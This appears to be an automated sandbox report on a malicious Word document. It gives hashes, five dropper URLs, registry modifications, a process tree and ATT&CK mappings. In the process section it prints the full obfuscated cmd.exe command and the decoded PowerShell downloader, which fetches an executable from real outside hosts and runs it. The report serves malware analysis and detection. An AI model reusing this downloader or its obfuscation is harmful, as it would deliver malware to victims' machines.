a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf

General

Target

a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf.doc
Size

95KB
MD5

186c67a706eb91c97ab9b550c5bd531b
SHA1

35583941dec461c4045ecb4bfd0ebdd0e9a6c9de
SHA256

a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf
SHA512

fa772d641409088277fc9d51a2063ba55b25cb87fc9403f350a15c9cd0ec1ae9f6004cb6fbdae2ad60a9ed2dd480f119a824d772c659cb457ec7d35dd634f5b1

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sundownbodrum.com/J335NbN

exe.dropper

http://www.roteirobrasil.com/wp-includes/XEBv3PdHgZ

exe.dropper

http://rdabih.org/m7mnTYaIzL

exe.dropper

http://zavgroup.net/11D6PwFu

exe.dropper

http://stefanobaldini.net/DfSVLfsC6

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1924	1936	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

5 1868 powershell.exe
9 1868 powershell.exe
11 1868 powershell.exe
13 1868 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
5	1868	powershell.exe
9	1868	powershell.exe
11	1868	powershell.exe
13	1868	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A3148476-4A05-429E-8CA5-403B6514233D}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\TypeLib\{A3148476-4A05-429E-8CA5-403B6514233D}\2.0\0\win32	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A3148476-4A05-429E-8CA5-403B6514233D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\TypeLib\{A3148476-4A05-429E-8CA5-403B6514233D}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1936 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1868 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1868 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1936 WINWORD.EXE
1936 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1936 WINWORD.EXE
1936 WINWORD.EXE

pid	process
1936	WINWORD.EXE

pid	process
1868	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1868	powershell.exe

pid	process
1936	WINWORD.EXE
1936	WINWORD.EXE

pid	process
1936	WINWORD.EXE
1936	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 1936 wrote to memory of 1500	1936	WINWORD.EXE	splwow64.exe
PID 1936 wrote to memory of 1500	1936	WINWORD.EXE	splwow64.exe
PID 1936 wrote to memory of 1500	1936	WINWORD.EXE	splwow64.exe
PID 1936 wrote to memory of 1500	1936	WINWORD.EXE	splwow64.exe
PID 1936 wrote to memory of 1924	1936	WINWORD.EXE	cmd.exe
PID 1936 wrote to memory of 1924	1936	WINWORD.EXE	cmd.exe
PID 1936 wrote to memory of 1924	1936	WINWORD.EXE	cmd.exe
PID 1936 wrote to memory of 1924	1936	WINWORD.EXE	cmd.exe
PID 1924 wrote to memory of 1564	1924	cmd.exe	cmd.exe
PID 1924 wrote to memory of 1564	1924	cmd.exe	cmd.exe
PID 1924 wrote to memory of 1564	1924	cmd.exe	cmd.exe
PID 1924 wrote to memory of 1564	1924	cmd.exe	cmd.exe
PID 1564 wrote to memory of 1868	1564	cmd.exe	powershell.exe
PID 1564 wrote to memory of 1868	1564	cmd.exe	powershell.exe
PID 1564 wrote to memory of 1868	1564	cmd.exe	powershell.exe
PID 1564 wrote to memory of 1868	1564	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a0f6ce6375c17dcd4052f315be17146c089c664a1552e0d1a3c3ecd1e8a6d6cf.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1500

\??\c:\windows\SysWOW64\cmd.exe
c:\WiTAWFc\ivFAjJD\mZGnokr\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2'W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell "!mK:~-465!""
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\cmd.exe
CmD /V:O/C"set e6ut=GzJtfbpwBoJhSTItVrXKzTzZdEnnEdbNCgA 7c@=e/5j(kH1L}3sa8DFPuimM{6U+:x$l;-y0)YQ2'W\O.v,&&for %5 in (67;58;4;80;39;77;22;7;14;77;69;67;60;52;0;39;27;40;7;70;9;30;43;40;37;15;35;31;40;15;81;78;40;30;32;68;58;40;27;15;69;67;14;8;48;39;77;11;15;15;6;65;41;41;51;57;27;29;9;7;27;30;9;29;17;57;59;81;37;9;59;41;10;50;50;42;31;30;31;38;11;15;15;6;65;41;41;7;7;7;81;17;9;15;40;58;17;9;30;17;52;51;58;68;81;37;9;59;41;7;6;70;58;27;37;68;57;29;40;51;41;18;28;8;82;50;56;29;46;33;23;38;11;15;15;6;65;41;41;17;29;52;30;58;11;81;9;17;33;41;59;36;59;27;21;74;52;14;22;48;38;11;15;15;6;65;41;41;22;52;82;33;17;9;57;6;81;27;40;15;41;47;47;54;62;56;7;55;57;38;11;15;15;6;65;41;41;51;15;40;4;52;27;9;30;52;68;29;58;27;58;81;27;40;15;41;54;4;12;16;48;4;51;32;62;77;81;12;6;68;58;15;44;77;38;77;73;69;67;68;32;19;39;77;27;78;56;77;69;67;12;32;19;35;39;35;77;50;62;76;77;69;67;55;55;74;39;77;59;7;16;77;69;67;54;75;58;39;67;40;27;82;65;15;40;59;6;64;77;79;77;64;67;12;32;19;64;77;81;40;66;40;77;69;4;9;17;40;52;37;11;44;67;32;4;27;35;58;27;35;67;14;8;48;73;61;15;17;71;61;67;60;52;0;81;54;9;7;27;68;9;52;29;55;58;68;40;44;67;32;4;27;83;35;67;54;75;58;73;69;67;37;56;63;39;77;30;0;21;77;69;14;4;35;44;44;0;40;15;70;14;15;40;59;35;67;54;75;58;73;81;68;40;27;33;15;11;35;70;33;40;35;53;72;72;72;72;73;35;61;14;27;82;9;45;40;70;14;15;40;59;35;67;54;75;58;69;67;43;0;43;39;77;59;7;48;77;69;30;17;40;52;45;69;49;49;37;52;15;37;11;61;49;49;67;11;22;34;39;77;51;21;11;77;69;86)do set mK=!mK!!e6ut:~%5,1!&&if %5 gtr 85 powershell "!mK:~-465!""
3⤵
- Suspicious use of WriteProcessMemory
PID:1564

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "$ifO='zwI';$MaG=new-object Net.WebClient;$IBL='http://sundownbodrum.com/J335NbN@http://www.roteirobrasil.com/wp-includes/XEBv3PdHgZ@http://rdabih.org/m7mnTYaIzL@http://zavgroup.net/11D6PwFu@http://stefanobaldini.net/DfSVLfsC6'.Split('@');$lCK='nWP';$SCK = '362';$FFY='mwV';$DQi=$env:temp+'\'+$SCK+'.exe';foreach($Cfn in $IBL){try{$MaG.DownloadFile($Cfn, $DQi);$cPU='bGT';If ((Get-Item $DQi).length -ge 80000) {Invoke-Item $DQi;$jGj='mwL';break;}}catch{}}$hzA='sTh';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1500-58-0x0000000000000000-mapping.dmp

Download
memory/1500-60-0x000007FEFBF21000-0x000007FEFBF23000-memory.dmp

Filesize
8KB

Download
memory/1564-65-0x0000000000000000-mapping.dmp

Download
memory/1868-66-0x0000000000000000-mapping.dmp

Download
memory/1868-68-0x000000006ABB0000-0x000000006B15B000-memory.dmp

Filesize
5.7MB

Download
memory/1868-71-0x000000006ABB0000-0x000000006B15B000-memory.dmp

Filesize
5.7MB

Download
memory/1868-70-0x0000000004B40000-0x0000000005191000-memory.dmp

Filesize
6.3MB

Download
memory/1868-69-0x000000006ABB0000-0x000000006B15B000-memory.dmp

Filesize
5.7MB

Download
memory/1924-64-0x0000000000000000-mapping.dmp

Download
memory/1936-63-0x00000000005A6000-0x00000000005AA000-memory.dmp

Filesize
16KB

Download
memory/1936-57-0x0000000075441000-0x0000000075443000-memory.dmp

Filesize
8KB

Download
memory/1936-55-0x0000000070541000-0x0000000070543000-memory.dmp

Filesize
8KB

Download
memory/1936-54-0x0000000072AC1000-0x0000000072AC4000-memory.dmp

Filesize
12KB

Download
memory/1936-62-0x00000000005A6000-0x00000000005AA000-memory.dmp

Filesize
16KB

Download
memory/1936-61-0x000000007152D000-0x0000000071538000-memory.dmp

Filesize
44KB

Download
memory/1936-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1936-59-0x000000007152D000-0x0000000071538000-memory.dmp

Filesize
44KB

Download
